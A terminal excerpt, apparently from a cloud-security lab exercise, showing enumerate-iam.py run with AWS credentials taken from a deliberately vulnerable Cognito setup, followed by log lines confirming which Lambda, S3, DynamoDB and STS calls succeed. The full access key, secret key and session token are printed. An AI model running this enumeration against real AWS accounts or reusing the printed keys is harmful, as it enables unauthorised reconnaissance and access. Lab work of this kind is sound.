└─$ python3 enumerate-iam.py --access-key ASIAYPUD57AETV535COM --secret-key DT+NM8qzfk3gYiHRQf1WNBpW4D/kt1gFYcEDBqQF --session-token IQoJb3JpZ2luX2VjEO3//////////wEaCXVzLWVhc3QtMSJHMEUCIQCI5v0Uwa+nIi88caXGYaBOfCOIwvBJQnc0cR3wYca8PQIgIChTw/Iq4IIm/Vv+qFehHuNcz0KoG7LM4V9kwJLOOAQqzQQIlf//////////ARABGgw1ODMzMTg1MDEzODUiDBCoc9JzZPPO6NpvHSqhBEbyXoVW1FPJ5s0qYPRLh1pdsw90IyAlBlhNvGjqi71dXgGWA/h6oc/RHHRP7pUSGV8SdjjelupG4Xs40Qpf0d2En/xCrdfAC3pqqf+zGglu4WQjla+T8Ih+NreTinkQ5ugDaMthMhvjuqt1X+HS3MEM/dLMzacZ2qjpCCMBElDkhMLoczJFSWbrw8BYxNP+OYy/xpspuiCZKhWjbzKANrSNxE/dtv74z4P2q0sLFktUlK1qA295914+zuPwKeeIY3oRgjjrZP8jEeWO+0d+03VgUgeM7EIMHmdHQHFMYy/NPq6XLllIV6q1fBCkYCfWRlMwagDqF8I7xxRPQuZVChEhh7npgPxAFvsda4oHUQBy9e8tiKCXep+HdHTEv5CbGnTao0u8IWIl8cuaE3cpbe70OrEfRdbw8obwJMw+8sXmsohlExQBIVwJ/Ges7kkk34b/9pD/T+rB0j6nbpcgqlIbO+IcVSBn2dC1xgg6KwGCf9Jc27HRimV0CJQdnAxysuGV6DwB8b0CtLyAsGBoTdPUqeiaDsPzRG/IQLLNYS9JwE40Cn/4kSWIUb7Na+/r3FSfCjRFtbIj4dCl1UspmdQrnaph1Q8qLpAu/JsCMH1eK7o559Wuog1PWqeVRHhq2/FrXiytu5xl+boKhg3IfkohG5g6lXxCO71skVhFWjtNBAMdAFpP+OTh0TxLl63gKWKFWk94S9JbIm9rgdttnFvxMPWB4rMGOoUCBGeVyw0PzL+Ta7ET5cwKN3uDESLsB3KmOArCTeFmah0pIShH50Ww1N8m08YFRas7+bvM+BIvCJkhD0+4U3IdK2Lp+qG8he0bjaL97CoGQYhLWrtMbkWh+FvUADNnzTLRweVb2V7/ZfjIQ3uXuK4ccb41mT6/LkEViyGTg+PIgr87SEpRtbpIJ5rcTj+54YeI9zQsJqCXo8LJes6vbyUr3U3/IzfEdgWbOXcrrW3gvwKXa3XC2wecwGL1mco50AOXsmN1xSzk6C9t8df7h2euKto8g8QLodw37gRSVCwsS6lFnVeSB/wC/wlJrtChk+4Hn+vOjh2X9FnnSPZS5lfBoue6hEaA
2024-06-23 15:17:44,020 - 1371 - [INFO] Starting permission enumeration for access-key-id "ASIAYPUD57AETV535COM"
2024-06-23 15:17:44,583 - 1371 - [INFO] -- Account ARN : arn:aws:sts::583318501385:assumed-role/cognito_authenticated-vulnerable_cognito_cgidf2vavqfesu/CognitoIdentityCredentials
2024-06-23 15:17:44,583 - 1371 - [INFO] -- Account Id  : 583318501385
2024-06-23 15:17:44,583 - 1371 - [INFO] -- Account Path: assumed-role/cognito_authenticated-vulnerable_cognito_cgidf2vavqfesu/CognitoIdentityCredentials
2024-06-23 15:17:45,367 - 1371 - [INFO] Attempting common-service describe / list brute force.
2024-06-23 15:17:47,099 - 1371 - [INFO] -- dynamodb.describe_endpoints() worked!
2024-06-23 15:17:50,950 - 1371 - [INFO] -- sts.get_caller_identity() worked!
2024-06-23 15:17:51,256 - 1371 - [INFO] -- lambda.list_layers() worked!
2024-06-23 15:17:51,341 - 1371 - [INFO] -- lambda.list_functions() worked!
2024-06-23 15:17:51,425 - 1371 - [INFO] -- lambda.list_functions() worked!
2024-06-23 15:17:51,516 - 1371 - [INFO] -- lambda.get_account_settings() worked!
2024-06-23 15:17:51,667 - 1371 - [INFO] -- lambda.list_event_source_mappings() worked!
2024-06-23 15:17:52,192 - 1371 - [INFO] -- s3.list_buckets() worked!
```
